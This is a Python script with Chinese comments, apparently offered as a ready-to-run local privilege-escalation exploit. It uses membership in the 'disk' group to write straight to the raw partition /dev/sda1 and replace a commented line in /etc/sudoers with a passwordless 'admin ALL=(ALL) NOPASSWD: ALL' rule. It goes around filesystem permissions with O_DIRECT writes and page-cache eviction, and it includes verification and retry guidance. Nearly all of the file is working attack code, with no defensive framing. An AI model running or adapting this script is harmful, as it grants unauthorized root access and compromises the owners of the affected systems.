#!/usr/bin/env python3 """ disk_sudoers_write.py — 通过直接磁盘写入修改 /etc/sudoers 原理: 1. 在 /dev/sda1 原始磁盘上搜索目标注释行 2. 等长替换为 admin NOPASSWD 规则 (等长不改变文件系统元数据) 3. 使用 O_DIRECT + O_SYNC + mmap 绕过内核缓冲区缓存 4. posix_fadvise(DONTNEED) 清除页缓存，强制从磁盘重读 要求: disk 组成员 (rw /dev/sda1) """ import os import mmap import sys # 目标行: sudoers 注释行 → 等长替换为 admin NOPASSWD 规则 # 注意: 如果目标 sudoers 结构不同，需要修改这两行 OLD_LINE = b'#Defaults:%sudo env_keep += "http_proxy https_proxy ftp_proxy all_proxy no_proxy"' NEW_LINE = b'admin ALL=(ALL) NOPASSWD: ALL ' BLOCK_SIZE = 4096 def die(msg: str) -> None: print(f"[-] {msg}") sys.exit(1) def search_disk(disk_path: str, target: bytes) -> int | None: """在磁盘上搜索目标字节序列，返回字节偏移。 38GB 磁盘全量扫描约需 60-120 秒。 未找到时返回 None（由调用者决定如何处理）。 """ print(f"[*] Searching for target line on {disk_path} ...") print(f" (scanning up to {os.path.getsize(disk_path) // (1024**3)} GB, this may take a minute)") chunk_size = 1024 * 1024 # 1MB offset = 0 with open(disk_path, "rb") as disk: while True: chunk = disk.read(chunk_size) if not chunk: break idx = chunk.find(target) if idx != -1: found = offset + idx print(f"[+] Found at byte offset: {found}") return found offset += len(chunk) return None def disk_write(disk_path: str, offset: int, expected: bytes, replacement: bytes) -> bool: """读取磁盘块，验证内容，等长替换，O_DIRECT 写回。 参数: disk_path: 块设备路径 (/dev/sda1) offset: 要替换的字节在磁盘上的位置 expected: 期望的原始内容 (验证用) replacement: 新内容 (必须与 expected 等长) 返回: True 表示写入成功 """ if len(expected) != len(replacement): die(f"Length mismatch: expected={len(expected)} replacement={len(replacement)}") block_start = offset - (offset % BLOCK_SIZE) offset_in_block = offset - block_start print(f"[*] Block start: {block_start}, offset in block: {offset_in_block}") # 读取目标块 fd = os.open(disk_path, os.O_RDONLY) block = bytearray(os.pread(fd, BLOCK_SIZE, block_start)) os.close(fd) # 验证原始内容匹配 existing = bytes(block[offset_in_block:offset_in_block + len(expected)]) if existing != expected: print(f"[-] VERIFICATION FAILED!") print(f" Expected: {expected}") print(f" Got: {existing}") return False print("[+] Verification passed - target content matches.") # 等长替换 block[offset_in_block:offset_in_block + len(expected)] = replacement print("[+] Replaced in memory buffer.") # O_DIRECT + O_SYNC 写回 (mmap 提供对齐缓冲区) aligned_buf = mmap.mmap(-1, BLOCK_SIZE) aligned_buf.write(bytes(block)) fd = os.open(disk_path, os.O_WRONLY | os.O_DIRECT | os.O_SYNC) os.lseek(fd, block_start, os.SEEK_SET) written = os.write(fd, aligned_buf) os.close(fd) aligned_buf.close() if written != BLOCK_SIZE: print(f"[-] Short write: {written} bytes (expected {BLOCK_SIZE})") return False print(f"[+] Written {written} bytes to disk.") return True def try_clear_page_cache(file_path: str) -> bool: """尝试清除文件的页缓存，强制内核从磁盘重读。 按优先级尝试: 1. posix_fadvise(DONTNEED) — 需要文件可读 2. drop_caches — 需要 CAP_SYS_ADMIN 3. sync — 最佳努力 返回 True 表示页缓存已清除。 """ # 方法 1: posix_fadvise (需要文件可读) try: fd = os.open(file_path, os.O_RDONLY) os.posix_fadvise(fd, 0, os.fstat(fd).st_size, os.POSIX_FADV_DONTNEED) os.close(fd) print("[+] Page cache cleared via posix_fadvise(DONTNEED).") return True except PermissionError: pass except OSError: pass # 方法 2: drop_caches (需要 root) try: with open("/proc/sys/vm/drop_caches", "w") as f: f.write("2") print("[+] Page cache cleared via drop_caches=2.") return True except (PermissionError, OSError): pass # 方法 3: 仅 sync (无法保证清除页缓存) os.sync() print("[!] Could not clear page cache (need file read permission or root).") print("[*] O_DIRECT write bypassed buffer cache; disk data is correct.") print("[*] Try re-login, or add current user to root group, then re-run.") return False def verify_result(file_path: str, needle: str) -> bool: """尝试从文件系统读取，验证修改是否生效。 如果文件不可读（不在 root 组），则跳过 — 磁盘写入阶段已做块级验证。 """ try: with open(file_path, "r") as f: for line in f: if needle in line: print(f"[+] Verified in filesystem: {line.strip()}") return True print("[!] File readable but target line not found (page cache may be stale).") return False except PermissionError: print("[*] Cannot read via filesystem (not in root group).") print("[*] Verification was already done at block level during write step.") return True def main(): disk_path = "/dev/sda1" sudoers_path = "/etc/sudoers" # 前置检查: 块设备可访问 if not os.path.exists(disk_path): die(f"{disk_path} does not exist") if not os.access(disk_path, os.R_OK | os.W_OK): die(f"{disk_path} is not readable/writable. Are you in the disk group?") # 前置检查: 等长 if len(OLD_LINE) != len(NEW_LINE): die(f"OLD_LINE ({len(OLD_LINE)}b) and NEW_LINE ({len(NEW_LINE)}b) must be same length") print(f"[*] Target: {disk_path}") print(f"[*] Old ({len(OLD_LINE)}b): {OLD_LINE}") print(f"[*] New ({len(NEW_LINE)}b): {NEW_LINE}") print() # Step 1: 定位目标行 found_old = search_disk(disk_path, OLD_LINE) if found_old is None: # 可能已经修改过了 — 搜索 NEW_LINE 做幂等检查 found_new = search_disk(disk_path, NEW_LINE) if found_new is not None: print("[*] NOPASSWD rule already present on disk (previously modified).") print("[*] Nothing to do. Try: sudo -k && sudo whoami") else: print("[-] Neither OLD nor NEW line found on disk!") print("[-] The sudoers file structure may differ from expected.") print("[-] Check /etc/sudoers and update OLD_LINE / NEW_LINE accordingly.") sys.exit(0 if found_new is not None else 1) # Step 2: 直接磁盘写入 if not disk_write(disk_path, found_old, OLD_LINE, NEW_LINE): die("Disk write FAILED!") # Step 3: 清除页缓存 cache_cleared = try_clear_page_cache(sudoers_path) # Step 4: 验证 if cache_cleared: if verify_result(sudoers_path, "NOPASSWD"): print("[*] DONE - sudoers modified! admin NOPASSWD rule active.") else: print("[!] Write succeeded but filesystem cache may be stale.") print("[*] Re-login to pick up the new sudoers content.") else: print("[*] DONE - disk write successful (O_DIRECT).") print("[*] To verify: re-login (cached pages will be fresh), or:") print(f"[*] dd if={disk_path} bs=1 skip={found_old} count={len(NEW_LINE)} 2>/dev/null") if __name__ == "__main__": main()